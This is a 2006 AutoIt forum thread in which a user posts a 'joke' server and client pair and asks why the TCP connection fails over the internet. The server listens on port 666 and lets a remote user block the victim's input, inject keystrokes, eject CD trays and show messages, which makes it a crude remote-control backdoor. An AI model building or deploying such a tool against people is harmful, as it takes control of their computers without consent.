zeroZshadow Posted March 31, 2006 Share Posted March 31, 2006 yo there, i made a little network program that was based on the examples in the helpfile, but it seems these fucntion don't work over internet, or do i need another method for it ??. *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted March 31, 2006 Author Share Posted March 31, 2006 port 666 *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted March 31, 2006 Author Share Posted March 31, 2006 mm i'll post the code then, but i don't think i screwed up. *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted March 31, 2006 Author Share Posted March 31, 2006 expandcollapse popupGlobal $MainSocket = -1 Global $ConnectedSocket = -1 Global $g_IP = @IPAddress1 _Startup() while 1 $message = TCPRecv ($ConnectedSocket,512) switch $message case "~bye" _Shutdown() _Startup() case "~terminate" _Shutdown() exit case "~CDROM open" $drives = DriveGetDrive ( "CDROM" ) for $i = 1 to $drives[0] cdtray($drives[$i],"open") next case "~CDROM close" $drives = DriveGetDrive ( "CDROM" ) for $i = 1 to $drives[0] cdtray($drives[$i],"close") next case "~blockinput on" blockinput(1) case "~blockinput off" blockinput(0) EndSwitch if StringLeft ($message,5) = "~send" then send(StringTrimLeft ($message,5)) endif if StringLeft ($message,8) = "~message" then MsgBox(0,"Message",StringTrimLeft ($message,8)) endif Wend func _Startup() TCPStartUp() $MainSocket = TCPListen($g_IP,666, 100 ) If $MainSocket = -1 Then Exit While 1 $ConnectedSocket = TCPAccept($MainSocket) If $ConnectedSocket >= 0 Then exitloop EndIf Wend endfunc func _Shutdown() TCPCloseSocket ($ConnectedSocket) TCPCloseSocket ($MainSocket) TCPShutdown() endfunc here it is. *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted March 31, 2006 Author Share Posted March 31, 2006 i send u my IP larry. sorry hackers, aint posting it. *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted March 31, 2006 Author Share Posted March 31, 2006 (edited) $g_IP = InputBox("IP","Type ur IP","") ; Start The TCP Services TCPStartUp() ; Connect to a Listening "SOCKET" $Socket = TCPConnect( $g_IP, 666 ) If $Socket = -1 Then MsgBox(0,"Error","Could not connect") exit EndIf sleep(100) while 1 $message = inputBox("Command", "") if @error = 1 then Exit if $message = "~terminate" or $message = "~bye" then exit TCPSend ($Socket, $message) $recv = TCPRecv($Socket,256) Wend Func OnAutoItExit() TCPSend ($Socket, "~bye") TCPCloseSocket ($Socket) TCPShutdown () EndFunc soo here is the client that connects to the server to send the commands. and yes, its a joke program i wanna use, who cares i needed something todo XD *bored to hell* Edited March 31, 2006 by zeroZshadow *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted April 1, 2006 Author Share Posted April 1, 2006 okeee, it works over the net now. but it only works with some people ( it seemed my pc had a fire wall) soo i openen all stuff on that port, but i still cant get some ( about 4/5 of um) to connect to a server over the net. I also let 2 people try to connect to each other, so that my pc wasn't involved. and they could not connect. please help me with this NEW problem *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
zeroZshadow Posted April 3, 2006 Author Share Posted April 3, 2006 does anyone knows how the connect function works ( in psuedo code) does it ping the target first ?? *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
themax90 Posted April 4, 2006 Share Posted April 4, 2006 Ask Larry he wrote all that stuff initially. Link to comment Share on other sites More sharing options...
Uten Posted April 4, 2006 Share Posted April 4, 2006 does anyone knows how the connect function works ( in psuedo code)does it ping the target first ??Don't think so. Ping is just a connect, send one packet and se what we get back convention.You want to know the stuff going on in the fifth layer of the osi model.My guess is that autoit uses a smalest possible wrapper around the windows socket api So I think you better hunt for examples of those functions I guess you know tracert? My guess is that you will find the port your application is using closed. Use google and search for a online port scanner. Please keep your sig. small! Use the help file. Search the forum. Then ask unresolved questions :) Script plugin demo, Simple Trace udf, TrayMenuEx udf, IOChatter demo, freebasic multithreaded dll sample, PostMessage, Aspell, Code profiling Link to comment Share on other sites More sharing options...
zeroZshadow Posted April 7, 2006 Author Share Posted April 7, 2006 well it seems i'll have to try it then, else i'll just try it another way... still the tcp functions are far from optimal i think *If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip... Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now